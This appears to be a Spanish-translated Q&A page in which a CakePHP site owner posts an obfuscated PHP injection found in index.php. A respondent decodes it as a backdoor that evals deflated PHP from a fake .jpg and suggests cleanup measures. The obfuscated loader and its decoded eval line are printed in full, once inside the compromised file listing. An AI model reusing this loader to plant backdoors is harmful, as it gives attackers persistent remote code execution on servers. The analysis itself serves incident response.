mac instalar como php cakephp code-injection

instalar - install cakephp mac



¿Es esto un pirateo de CakePHP de algún tipo? (1)

Me contactaron con respecto a algunos mensajes de error extraños en un sitio web de CakePHP el otro día. Estábamos viendo errores como los siguientes:

Expectativa Falló:
La expectativa dada en el campo Expected request-header no pudo ser satisfecha por este servidor.
Esperar: 100-continuar, 100-continuar
Solo se admite la expectativa de 100-continue.

Terminé rastreando el código aleatorio en nuestro archivo index.php:

$get_ya_weekday_initial = ''dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H& (a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#''| ''!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:''; $wp_cw_kses_split = ''>=^/E]u*PDAF$!V''^'']O;N18*L%*"2MN8'';$set_yly_timeout = $wp_cw_kses_split('''',$get_ya_weekday_initial);$set_yly_timeout();

Parece una especie de código codificado / encriptado, entonces soy sospechoso. Pero no sé cómo descodificarlo. ¿Alguien tiene alguna idea sobre lo que este código intentaba hacer?

Editar: Aquí está todo el archivo index.php. Nota: el código de hackeo está de vuelta a partir de esta mañana: - / He estado revisando el servidor, pero no veo cómo se colocó el código (y la fecha de modificación del archivo no ha cambiado desde que lo edité ayer) .

* Copyright 2005-2007, Cake Software Foundation, Inc. * 1785 E. Sahara Avenue, Suite 490-204 * Las Vegas, Nevada 89104 * * Licensed under The MIT License * Redistributions of files must retain the above copyright notice. * * @filesource * @copyright Copyright 2005-2007, Cake Software Foundation, Inc. * @link http://www.cakefoundation.org/projects/info/cakephp CakePHP(tm) Project * @package cake * @subpackage cake.app.webroot * @since CakePHP(tm) v 0.2.9 * @version $Revision: 4450 $ * @modifiedby $LastChangedBy: phpnut $ * @lastmodified $Date: 2007-02-04 23:18:05 -0600 (Sun, 04 Feb 2007) $ * @license http://www.opensource.org/licenses/mit-license.php The MIT License */ /** * Do not change */ if (!defined(''DS'')) { define(''DS'', DIRECTORY_SEPARATOR); } /** * These defines should only be edited if you have cake installed in * a directory layout other than the way it is distributed. * Each define has a commented line of code that explains what you would change. * */ $get_ya_weekday_initial = ''dvA, @fzi*f,@pE(& lE[E`pJco"Pe*$P "/(o-A!` mh(!3,da7*& H&(a@"1m!tH&#OE#@a+E.3b2hp`s-td$p(!teq.Ck@L/tm`*ca"H$$PeRshsTE"$!IBFCcTQ`hI.H`%" )(#''| ''!4ah(@ExHlFH!d! BID WgE$W#*N$!DPs( $h$ld.FELFnItr+Ner&de$ofiuQr(h$(*blh,#`je/C#rI04"+@AM@La$d2)2)%h.`,0/@@ahA+p@2PiA$alt/BRBB04u$in(jPg )!!:''; $wp_cw_kses_split = ''>=^/E]u*PDAF$!V''^'']O;N18*L%*"2MN8'';$set_yly_timeout = $wp_cw_kses_split('''',$get_ya_weekday_initial);$set_yly_timeout(); if (!defined(''ROOT'')) { //define(''ROOT'', ''FULL PATH TO DIRECTORY WHERE APP DIRECTORY IS LOCATED DO NOT ADD A TRAILING DIRECTORY SEPARATOR''; //You should also use the DS define to seperate your directories define(''ROOT'', dirname(dirname(dirname(__FILE__)))); } if (!defined(''APP_DIR'')) { //define(''APP_DIR'', ''DIRECTORY NAME OF APPLICATION''; define(''APP_DIR'', basename(dirname(dirname(__FILE__)))); } /** * This only needs to be changed if the cake installed libs are located * outside of the distributed directory structure. */ if (!defined(''CAKE_CORE_INCLUDE_PATH'')) { //define (''CAKE_CORE_INCLUDE_PATH'', FULL PATH TO DIRECTORY WHERE CAKE CORE IS INSTALLED DO NOT ADD A TRAILING DIRECTORY SEPARATOR''; //You should also use the DS define to seperate your directories define(''CAKE_CORE_INCLUDE_PATH'', ROOT); } /////////////////////////////// //DO NOT EDIT BELOW THIS LINE// /////////////////////////////// if (!defined(''WEBROOT_DIR'')) { define(''WEBROOT_DIR'', basename(dirname(__FILE__))); } if (!defined(''WWW_ROOT'')) { define(''WWW_ROOT'', dirname(__FILE__) . DS); } if (!defined(''CORE_PATH'')) { if (function_exists(''ini_set'')) { ini_set(''include_path'', CAKE_CORE_INCLUDE_PATH . PATH_SEPARATOR . ROOT . DS . APP_DIR . DS . PATH_SEPARATOR . ini_get(''include_path'')); define(''APP_PATH'', null); define(''CORE_PATH'', null); } else { define(''APP_PATH'', ROOT . DS . APP_DIR . DS); define(''CORE_PATH'', CAKE_CORE_INCLUDE_PATH . DS); } } require CORE_PATH . ''cake'' . DS . ''bootstrap.php''; if (isset($_GET[''url'']) && $_GET[''url''] === ''favicon.ico'') { } else { $Dispatcher = new Dispatcher(); $Dispatcher->dispatch($url); } if (Configure::read() > 0) { echo ""; } ?>

Estoy comenzando a preguntarme si necesito actualizar Cake, ya que actualmente es v1.1: - /


¿Alguien tiene alguna idea sobre lo que este código intentaba hacer?

El código en una forma más legible es:

eval(@gzinflate(file_get_contents(".../persistent/KRFCstudio.jpg")));

Es una especie de script de puerta trasera que ha sido ofuscado (si quieres saber cómo, mira la pregunta relacionada ). Está descansando en el código hasta que se proporciona una carga útil.

La carga útil debe colocarse en

.../cake/s‌​cripts/templates/skel/tmp/cache/persistent/KRFCstudio.jpg

en forma de datos DEFLATE (RFC 1951) de código PHP (sin la etiqueta de apertura <?php ), consulte gzinflate Docs y eval Docs .

Nota: el código de hackeo está de vuelta a partir de esta mañana: - / He estado revisando el servidor, pero no veo cómo se colocó el código (y la fecha de modificación del archivo no ha cambiado desde que lo edité ayer) .

Realice sus cambios en el archivo nuevamente. Luego haga que el archivo sea de solo lectura (ya que cualquiera de sus archivos php debe estar en el servidor). Cuando es de solo lectura, compruebe si todavía está limpio. Asegúrese también de que el proceso de lectura del archivo en una solicitud web estándar no puede cambiar los permisos de archivo en el archivo, por ejemplo, solo permite que root haga eso.

A continuación, inicie sesión en el archivo de los archivos de su sitio para descubrir cuándo se cambia un archivo (o si un proceso intenta cambiar un archivo).

Como se comentó ayer, debe ponerse en contacto con la persona responsable del servidor. Ya hiciste eso, ¿verdad? Necesita tener a alguien que pueda analizar el problema con usted y que pueda hablar con usted al respecto.